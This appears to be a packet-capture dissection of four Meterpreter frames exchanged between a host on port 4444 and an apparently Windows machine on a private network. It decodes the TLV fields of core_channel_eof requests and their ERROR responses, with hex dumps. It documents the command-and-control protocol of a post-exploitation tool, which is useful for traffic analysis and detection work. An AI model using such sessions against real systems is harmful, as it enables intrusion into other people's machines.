Frame 210: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 10491, Ack: 47599, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000237373439353137353037303730313830... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3737343935313735303730373031383035303239343439343934... [Value] 77495175070701805029449485799919
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 b1 40 00 40 06 52 25 c0 a8 01 2a c0 a8   .~d.@.@.R%...*..
0020  01 29 11 5c c6 50 2e 7d 3b 6e a3 79 57 45 50 18   .).\.P.};n.yWEP.
0030  00 b6 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  37 34 39 35 31 37 35 30 37 30 37 30 31 38 30 35   7495175070701805
0070  30 32 39 34 34 39 34 38 35 37 39 39 39 31 39 00   029449485799919.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    211 3975.981514    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=47599 Ack=10577 
Win=2047 Len=86
Frame 211: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 47599, Ack: 10577, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000237373439353137353037303730313830... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3737343935313735303730373031383035303239343439343934... [Value] 77495175070701805029449485799919
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d e6 40 00 80 06 68 f0 c0 a8 01 29 c0 a8   .~..@...h....)..
0020  01 2a c6 50 11 5c a3 79 57 45 2e 7d 3b c4 50 18   .*.P.\.yWE.};.P.
0030  07 ff 21 12 00 00 00 00 00 56 00 00 00 01 00 00   ..!......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 37   el_eof....)....7
0060  37 34 39 35 31 37 35 30 37 30 37 30 31 38 30 35   7495175070701805
0070  30 32 39 34 34 39 34 38 35 37 39 39 39 31 39 00   029449485799919.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    212 4036.049160    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=10577 Ack=47685
Win=182 Len=86
Frame 212: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 10577, Ack: 47685, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000233303132313932393439393437353139... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 333031323139323934393934373531393737393237303233... [Value] 30121929499475197792702324150837
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 b3 40 00 40 06 52 23 c0 a8 01 2a c0 a8   .~d.@.@.R#...*..
0020  01 29 11 5c c6 50 2e 7d 3b c4 a3 79 57 9b 50 18   .).\.P.};..yW.P.
0030  00 b6 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  30 31 32 31 39 32 39 34 39 39 34 37 35 31 39 37   0121929499475197
0070  37 39 32 37 30 32 33 32 34 31 35 30 38 33 37 00   792702324150837.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    213 4036.050336    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=47685 Ack=10663 
Win=2053 Len=86
Frame 213: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 47685, Ack: 10663, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002333031323139323934393934373531393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 33303132313932393439393437353139373739323730323233... [Value] 30121929499475197792702324150837
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d e7 40 00 80 06 68 ef c0 a8 01 29 c0 a8   .~..@...h....)..
0020  01 2a c6 50 11 5c a3 79 57 9b 2e 7d 3c 1a 50 18   .*.P.\.yW..}<.P.
0030  08 05 23 71 00 00 00 00 00 56 00 00 00 01 00 00   ..#q.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 33   el_eof....)....3
0060  30 31 32 31 39 32 39 34 39 39 34 37 35 31 39 37   0121929499475197
0070  37 39 32 37 30 32 33 32 34 31 35 30 38 33 37 00   792702324150837.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```